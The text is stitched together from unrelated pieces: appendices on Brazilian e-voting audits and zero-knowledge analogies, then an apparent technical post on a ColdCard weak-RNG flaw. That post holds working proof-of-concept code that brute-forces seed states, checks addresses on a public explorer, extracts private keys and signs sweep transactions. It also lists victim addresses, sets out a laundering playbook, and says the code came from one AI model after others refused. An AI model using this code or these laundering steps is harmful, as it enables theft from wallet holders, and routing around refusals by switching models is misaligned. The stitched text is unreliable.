A fair question hangs in the air: so the current system has no auditing at all? It does, and it’s worth being honest about that. What doesn’t exist is a specific kind of audit: one that doesn’t depend on software. Let’s take it piece by piece.

The current arsenal, summarized and sourced:

• Source code inspection. Parties, the bar association, the federal audit court, the Federal Police, the prosecutor’s office, and universities can examine the systems’ code at the electoral court’s headquarters, months before the election — the so-called transparency cycle.
• Public Security Test (TPS). Outside researchers genuinely try to attack the system. And it works: in 2012, professor Diego Aranha’s team unscrambled the RDV and showed it was possible to learn who each voter had voted for; in 2017, they managed to tamper with the voting software before installation (the story is in Revista Pesquisa FAPESP and in this Lupa summary). The flaws found were fixed afterwards.
• Zero report, BU, and the Integrity Test. Before voting starts, the machine prints a zeroed-out report. At the end of the day, it prints the Boletim de Urna, posted at the precinct and published digitally with a QR code — anyone can download the BUs and add them up independently. And a random sample of machines is diverted to a filmed parallel vote, comparing the paper record against the digital one.
• RDV — the “digital recount”. The machine records each individual vote in a shuffled, anonymized file, published afterwards (definition in TSE Resolution 23.673/2021). Parties and authorized entities can re-sum the votes and cross-check against the BUs and the official tally — the official mechanism presented as the substitute for a paper recount (the electoral court’s explanation).
• External audits. In 2022, the federal audit court (TCU) cross-checked 9 million records from 4,577 precincts against the tallying database and found zero discrepancies — probability of fraud “approaching 0%” (CNN Brasil). The Carter Center observed the 2022 elections, registered no evidence of fraud, and acknowledged the audits’ expansion (mission statement).

Now the “but” this whole article builds toward: every layer on that list depends on software or on a ceremony run by the electoral court itself. The BU × RDV comparison proves internal consistency — that the published numbers match the recorded numbers. It does not prove the recorded numbers reflect what voters pressed on the screen, because a tampered machine would produce a tampered BU and RDV in perfect mutual agreement. As Aranha himself puts it: every audit available today depends on the software; if the program is tampered with, every check falls together (Folha de S.Paulo). And the Integrity Test, which covers a small sample of machines, is a poor cousin of the Benaloh challenge from Building block 4: instead of each voter auditing their own ballot on the spot, the auditing is done by a sample drawn and conducted by the system itself.

There’s also the legal chapter: the attempt to create a voter-verifiable paper record, the “printed vote,” was ruled unconstitutional by the Supreme Court in ADI 4543 over ballot-secrecy risks, and the attempt to revive it was struck down again in 2020 (Conjur). The irony is that this article’s scheme resolves exactly the conflict that killed the printed vote: a verifiable receipt without breaking secrecy, via commitments and ZK proofs. The math unlocks what paper couldn’t. Everything else stays locked, as the previous sections explain.

So the honest verdict: the Brazilian system is auditable in real digital and procedural ways, and no fraud altering an outcome has ever been proven in nearly 30 years of electronic voting. But there is no software-independent recount, because there is no voter-verified physical record. In the language of election-security research, a true risk-limiting audit is not possible. Trust stays deposited in the software, the pre-election inspections, and the custody of digital records — exactly what this article’s hypothetical system tries to eliminate.

Appendix 2: skin in the game — rewarding those who verify

One question hangs in the air after assembling the whole scheme: cryptocurrencies work because someone has something to lose. In Bitcoin, the miner burns real energy; in proof-of-stake, the validator deposits capital that gets confiscated if they cheat. And the voter? Voting costs nothing, and checking the receipt at home is work you do for free. The entire system depends on people verifying — and nobody has an incentive to verify. Can you put skin in the game on the voter?

The first idea that comes to mind is a deposit: vote, deposit some money, get it back later through the income tax system. As mechanism design, it has logic — it prices fake identities: a million phantom votes would cost a hundred million reais. In practice, it dies in three places. It’s a disguised poll tax, exclusionary and unconstitutional — the refund fixes the accounting, not the cash flow of someone who doesn’t have the money to front. The “income tax” channel doesn’t reach most poor Brazilians, who don’t even file — so it excludes exactly who the system most needs to include. And it would build, at the tax authority, a database linking identity, bank account, and electoral participation — a surveillance regression bigger than the problem it solves. All that before the plutocratic detail: security priced in money is security buyable by those who have money. Elections are designed to be wealth-blind — one vote per person. Putting a price on the security layer invites the rich to be more equal than the others.

The version that survives this scrutiny flips the sign: instead of charging to vote, reward those who verify. The scheme’s real soft spot is the individual verification rate — if nobody checks their serial at home, the inclusion proof from Building block 3 becomes decoration. So: every verified receipt enters a public, auditable lottery, with the tree’s own root serving as the randomness source (one more use for it). Checked your vote in the tree? You’re in the drawing for a prize. The incentive points exactly at the behavior the system needs — millions of eyes checking the tree — without excluding anyone, charging anything, or building a new database, because the lottery runs on the anonymous serial, not on identity.

It’s Bitcoin’s logic on the right side: there, the block reward pays thousands of machines to keep the ledger honest; here, the prize would pay millions of voters to keep the election honest. It’s almost a proof of verification: the block reward pays for the hashing work that keeps Bitcoin going, and the prize would pay for the checking work that would keep the election going. It’s not a proposal — like nothing in this article — but as an incentive-design exercise, it’s the version I’d put on paper.

Appendix 3: why “zero knowledge” is so hard to swallow

If you made it here feeling like you understood each piece individually but wouldn’t swear you understood the whole thing, relax: you’re in excellent company. When Goldwasser, Micali, and Rackoff formalized zero-knowledge proofs in the 1980s, the idea sounded paradoxical even to career cryptographers. Every proof we’d ever known worked by showing something. How can a proof transfer conviction while transferring no information at all?

The math from Building blocks 2 through 5 is the complete answer, but intuition lags behind. So here are two classic analogies involving no equations at all — each one lights up half of the concept.

Where’s Waldo? I claim I found Waldo on the page, and I want to prove it without revealing where he is — otherwise you win the game for free. The solution: I take a huge sheet of cardboard, much bigger than the book, cut a small hole in the middle, and place it over the page so only Waldo shows through. You see Waldo. But since the cardboard covers everything around him, you have no idea which corner of the page he’s in. I proved I know the location; you learned zero about it. And notice what holds the proof up: if I didn’t know where he was, I couldn’t have positioned the cardboard — the odds of landing the hole on Waldo by luck are tiny. It’s Ali Baba’s cave all over again, this time with cardboard.

The color-blind friend’s two balls. Your friend is red-green color-blind. You have two balls identical in size, weight, and texture — one red, one green — and you claim: “these balls are different colors.” To him, they’re indistinguishable. How do you prove it without revealing which is which? He shows you the balls, one in each hand. He puts his hands behind his back and decides, on his own, whether to swap them or not. He shows them again and asks: “did I swap?” You, who see the colors, answer correctly every time. He, who doesn’t, couldn’t do better than 50%. After 20 correct answers in a row, he’s convinced the balls differ — the odds of you bluffing 20 rounds are one in a million. And what did he learn about which ball is red? Nothing. Every answer you gave (“swapped”, “didn’t swap”) was something he already knew — after all, he was the one who decided whether to swap. The round’s information was already his; the only new thing is the conviction that you can see the difference.

The formal version of that intuition is the simulator from Building block 5: if anyone, knowing no secret at all, can fabricate a “recording” of a proof session indistinguishable from a real one, then the real session cannot carry any information about the secret. The convincing power comes from the order of operations — commitment first, challenge after. The zero knowledge comes from the recording, on its own, being forgeable. Both things are true at the same time, for different reasons. That’s why the concept feels slippery: you’re holding two facts that seem to contradict each other until you notice each one rests on something different.

And if the concept still feels slippery after all of this, good: you’ve just experienced the article’s central argument firsthand.

The didactic code in this article was generated with Kimi K3. It is worth noting that, given the same prompt, both Claude and GPT refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.

The goal is to answer, line by line, a question many people asked: “if the ColdCard stays offline, how did the bitcoins disappear?”.

Warning: the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.

Summary of the previous post

Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro MICROPY_HW_ENABLE_RNG was defined as 0, but the guard in libNgU used #ifndef, which only asks whether the symbol exists. The build succeeded, the rng_get() call fell through to MicroPython’s Yasmarang software fallback, and the seed became a product of the microcontroller UID and timing registers.

For readers who do not work with hardware, here is what those acronyms mean:

• UID (Unique Identifier) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like 0x4A3F B201 C847 D5E9 1234 5678. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.
• RTC (Real-Time Clock) is the microcontroller’s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. The ColdCard has no such battery. On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the RTC->TR and RTC->SSR registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython’s RTC initialization remains disabled. In other words, “time” is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.
• SysTick is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to 0x00FFFFFF and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like 0x003D7A12. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. Block estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).

Block’s independent analysis and Coinkite’s technical backgrounder agree on the mechanism, although they differ on impact details. Yesterday’s post has the full affected-firmware table.

The central point is: the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models. Forty bits are not secure. They are enumerable with cheap hardware.

The wallet does not sit “inside” the ColdCard

Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.

In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the secp256k1 curve. Whoever knows the integer can sign. Whoever does not, cannot.

That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.

You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like mempool.space. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them “hold” your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.

How the attacker prioritizes models

Not all models are equally easy to attack. The priority order follows the search-space size:

Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; Block shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.

On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.

A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.

128 bits, 40 bits, and 72 bits: what is the difference?

Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.

Imagine you can test 1 billion candidates per second:

Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.

That is why 40 bits is not “slightly less secure” than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.

From an integer to a wallet

Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Output:

entropy (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

The private key is just an integer. From it, the elliptic curve computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.

In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.

Real evidence on the blockchain

I am not making up numbers. The independent site coldcard-watch.vercel.app has been tracking the drains transaction by transaction and publishes the verified minimum: 1,128.6633 BTC drained from 2,334 confirmed addresses. The site itself stresses that these are verified minimums, not totals — other clusters likely exist.

It identifies two draining episodes:

• July 30, 2026, blocks 960183 to 960191 — 1,195 addresses drained.
• July 31, 2026, blocks 960345 to 960369 — 1,126 addresses drained.

The main public clusters making up that minimum include:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — received 594.47723261 BTC in 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — received ~398.476 BTC in a single transaction with 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — received ~89.623 BTC in a single transaction with 204 inputs (4b50d61a...).

Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to 1,128.6633 BTC.

The first cluster moved ~562 BTC to bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; that is the same money, not a fourth victim.

A concrete example: transaction 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolidates three inputs from the same vulnerable address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, one of them almost 29.9 BTC. All three inputs use the same compressed public key:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.

Other source addresses with large values include bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24.08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14.43 BTC), and bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.

Bitcoin Optech issue 416 estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms at least 1,128.6633 BTC stolen.

What the blockchain timeline suggests about attack order

coldcard-watch shows two distinct episodes, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.

This two-wave pattern fits two interpretations:

1. Same attacker, pre-computed in batches. The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.
2. Multiple attackers. After the flaw became public, other actors joined with their own dictionaries of likely states.

Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:

• ~40 bits of effective entropy ≈ 2^40 ≈ 1.1 trillion candidate states.
• On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about 13 days to search exhaustively. With 100 GPUs/FPGAs, it drops to a few hours.
• Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as Block points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.

Mk4/Q/Mk5 with reseed depends on how well the fallback is known:

• If the fallback is known, only the 32 bits from the secure element remain: 2^32 ≈ 4.3 billion candidates per device, or about 1.2 hours per device at 1 million/s.
• If the fallback is completely unknown, the space rises to ~2^72, about 4.7 sextillion candidates — infeasible by brute force alone.

That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.

The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.

What the chain reveals about the operation

coldcard-hack.up.railway.app analyzes in detail the three waves that emptied 1,082.59 BTC in 41 minutes (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:

Notable details:

• Sorted by balance: within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.
• Identical shape: all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.
• Uniform fee rate: median of 30.136986 sat/vB across all waves — the same script choosing the fee.
• Address types: 1,182 were native SegWit (v0_p2wpkh), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.
• Funds still sitting: when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.

All of this points to a single automated operation, not 1,195 independent thefts.

How this slipped through

The same coldcard-hack.up.railway.app maps the commits that introduced the bug. The most damning facts:

• The commit that added the wrong #ifndef guard in libngu had a one-character message, changed 28 files, and did not go through a pull request.
• The First pass w/ libNgU commit, which migrated seed generation to libngu and stripped GPL code, changed 120 files and was also pushed directly, with no PR.
• The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but merged with zero reviews.

A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.

The conceptual attack flow

Before the code, the general flow:

1. Reproduce the RNG. The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in libNgU.
2. Enumerate plausible states. For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.
3. Derive the wallet. From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.
4. Query the blockchain. For each derived address, ask an explorer or a local node whether a UTXO exists.
5. Stop at the match. When a derived address matches an address with balance, the attacker already has the corresponding private key.
6. Spend. With the private key, build a transaction that moves the UTXO to an address they control.

The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.

Proof-of-concept code

The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.

1. The broken PRNG: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; mutates the list and returns a uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

What it does: implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the MicroPython source.

State example:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. From RNG state to ColdCard entropy

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simulates what the ColdCard did to generate the 32 entropy bytes.

    - MicroPython initializes its Yasmarang with:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU keeps a second Yasmarang with public constants.
    - Each 32-bit word is: chip ^ my_yasmarang().
    - On Mk4/Q/Mk5, reseed changes the libNgU 'pad' state.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() in the firmware only overwrites yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # The ColdCard may make extra calls before generating the seed (health
    # check, etc.). In practice the attacker models the exact call history.
    # Here we simplify to 8 words = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

What it does: builds the initial state. The MicroPython pad is UID_low32 ^ SysTick; n and d come from the RTC. libNgU enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.

Example:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. From entropy to a Bitcoin address

def first_addresses(entropy_bytes, account=0):
    """
    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
    and the first native SegWit receiving and change addresses.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

What it does: takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.

Example:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Query the public blockchain as an oracle

def has_utxo(address):
    """True if the address has any UTXO according to mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("error querying", address, e)
        return False

What it does: asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.

Non-hit example:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

The attacker discards it and moves to the next candidate.

Hit example (the real victim address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, before the sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

When has_utxo returns True, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.

5. Enumerate candidates and hunt

def brute_mk3(uid_low32):
    """
    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
    In practice the attacker uses GPUs/FPGAs and constrains the UID from
    the device serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
    the 2^32 possible secure-element reseed values.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("HIT!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  address :", addr)
                return candidate


# Didactic example: use a known UID and a reduced Mk3 generator.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

What they do: brute_mk3 scans plausible states for Mk3; brute_mk4 scans the 2^32 secure-element reseeds; hunt is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.

After finding the collision

When hunt returns, the attacker already has the mnemonic and the funded address. From there, they get the private key:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("Compressed WIF:", addr_key.key.wif())
print("Address       :", addr_key.address())

Typical output:

Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

That WIF is the private key in a format any wallet understands. From here the attacker can:

1. Import the seed or the WIF into Sparrow, Electrum, or another wallet.
2. Rescan the blockchain to see all UTXOs for that seed.
3. Build a transaction sending the funds to an address they control.
4. Sign and broadcast.

Concrete sweep example

In the real case, the attacker swept the 29.89251877 BTC UTXO from address bc1qe85jr... to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# key recovered from the collided seed
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, in satoshis
fee          = 7_380              # fee in satoshis
output_value = input_value - fee  # what is left for the attacker

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # victim UTXO txid
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # attacker address
tx.sign()

print(tx.raw_hex())

A valid signed transaction looks like this (hex truncated):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.

In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.

What this bug class means

This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on entropy. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.

Three lessons:

1. Do not trust the appearance of randomness. Yasmarang’s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.
2. Hashing does not create entropy. Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most 2^40 possible hashes. The attacker enumerates inputs, not hashes.
3. The blockchain is public and permanent. A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.

Can the attacker be caught?

Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: “can the person be traced?”. The short answer is: maybe, but it is not trivial, and tracing is not the same as recovering the bitcoins.

Clay Garrett, who is among the people investigating the case, published a thread on X claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider’s logs allegedly matched, with “extraordinary specificity,” the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.

What this means, if confirmed:

• A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.
• If the account was KYC’d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.
• Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.
• The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.

So the thread points to a promising line of investigation, but it is an ongoing allegation, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.

What the attacker has not done yet

So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.

What a mixer is, and why it has not been used

A mixer (or tumbler) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of “where it came from.”

The classic model is CoinJoin: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like Wasabi Wallet and Samourai Wallet implement CoinJoin automatically. Samourai even offered a service called Whirlpool, where UTXOs go through remix rounds that make tracing even harder.

Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like Bitcoin Fog and Helix historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.

In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims’ wallets into three large clusters and have not moved since. That can mean several things:

1. The attacker is still getting ready. Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.
2. The attacker did not expect this much visibility. Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.
3. The attacker may be negotiating a recovery. Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief’s anonymity.

How one normally hides a haul like this

If the operator really wants to make tracing difficult, the standard playbook involves several layers:

1. CoinJoin rounds. The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.
2. Peel chain. Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.
3. Instant swaps and bridges. Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.
